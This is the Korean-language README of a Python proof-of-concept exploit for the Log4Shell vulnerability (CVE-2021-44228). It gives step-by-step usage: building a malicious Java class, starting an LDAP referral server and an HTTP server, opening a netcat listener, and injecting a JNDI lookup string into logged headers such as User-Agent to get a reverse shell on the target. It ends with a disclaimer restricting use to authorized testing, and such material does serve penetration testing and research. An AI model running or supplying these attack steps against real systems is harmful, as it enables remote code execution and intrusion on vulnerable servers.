
CVE-2021-44228 취약점에 대한 개념 증명(Proof-of-Concept)입니다.
Log4j 취약점(CVE-2021-44228), 일명 Log4Shell에 대한 개념 증명(PoC) 익스플로잇입니다. 이 도구는 악성 Java 클래스를 생성하고, LDAP 리퍼럴 서버를 시작하며, HTTP를 통해 페이로드를 제공하여 원격 공격자가 취약한 대상에서 임의의 명령을 실행할 수 있게 합니다.
poc.py와 같은 폴더에 있어야 합니다:
jdk1.8.0_20/ – Oracle JDK 1.8.0_20 사본(bin/javac 및 bin/java 포함). 이 폴더가 없으면 스크립트는 시스템의 javac 및 java 명령을 사용하려 시도합니다.target/marshalsec-0.0.3-SNAPSHOT-all.jar – LDAP 서버를 시작하는 데 사용되는 marshalsec JAR 파일입니다.jdk1.8.0_20 폴더와 marshalsec JAR 파일을 배치합니다.pip install -r requirements.txt
Python으로 스크립트를 실행합니다:
python3 poc.py [OPTIONS]
공격자 머신에서 netcat 리스너를 시작합니다(9001을 선택한 포트로 교체):
nc -lvnp 9001
익스플로잇을 실행합니다:
python3 poc.py --userip 192.168.1.10 --webport 8080 --lport 9001
--userip를 생략하면 스크립트가 자동으로 머신의 기본 IPv4 주소를 사용합니다.
스크립트는 취약한 대상에 주입할 페이로드 문자열을 표시합니다. 예:
${jndi:ldap://192.168.1.10:1389/a}
이 문자열을 취약한 Log4j 인스턴스가 로깅하는 모든 입력 필드 또는 HTTP 헤더(예: User-Agent, X-Forwarded-For 등)에 주입합니다. 대상은 LDAP 서버에 연결하여 HTTP 서버에서 악성 클래스를 가져와 리버스 셸을 실행합니다.
netcat 리스너에 셸 연결이 나타나는 것을 확인할 수 있습니다.
userip:lport로 리버스 셸을 여는 코드가 포함된 Exploit.java를 생성합니다.javac)를 사용하여 파일을 컴파일합니다.Exploit.class를 호스팅하기 위해 webport에서 간단한 HTTP 서버를 시작합니다./bin/sh를 사용하며 Unix 계열 대상 시스템용입니다. Windows 대상의 경우 Exploit.java 내부의 명령을 수정해야 합니다.webport 및 lport)의 수신 연결을 허용하고 대상이 사용자 머신에 접근할 수 있는지 확인하세요.스크립트는 종료 시(정상 종료 또는 KeyboardInterrupt 후) Exploit.java와 Exploit.class를 자동으로 제거합니다. 디버깅을 위해 파일을 유지해야 하는 경우 poc.py의 finally 블록을 주석 처리하세요.
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 소유하지 않았거나 테스트에 대한 명시적 허가가 없는 시스템에 이 익스플로잇을 무단 사용하는 것은 불법입니다. 저자는 이 소프트웨어로 인한 오용 또는 손해에 대해 책임을 지지 않습니다.
| 인자 | 타입 | 기본값 | 설명 |
|---|
--userip | string | 자동 감지된 IPv4 | LDAP 및 HTTP 서버가 바인딩하고 광고할 IP 주소입니다. 대상 머신에서 접근 가능해야 합니다. |
--webport | integer | 8000 | 컴파일된 Exploit.class를 제공하는 HTTP 서버의 포트입니다. |
--lport | integer | 9001 | netcat 리스너가 리버스 셸을 기다리는 포트입니다. 페이로드는 userip:lport로 다시 연결됩니다. |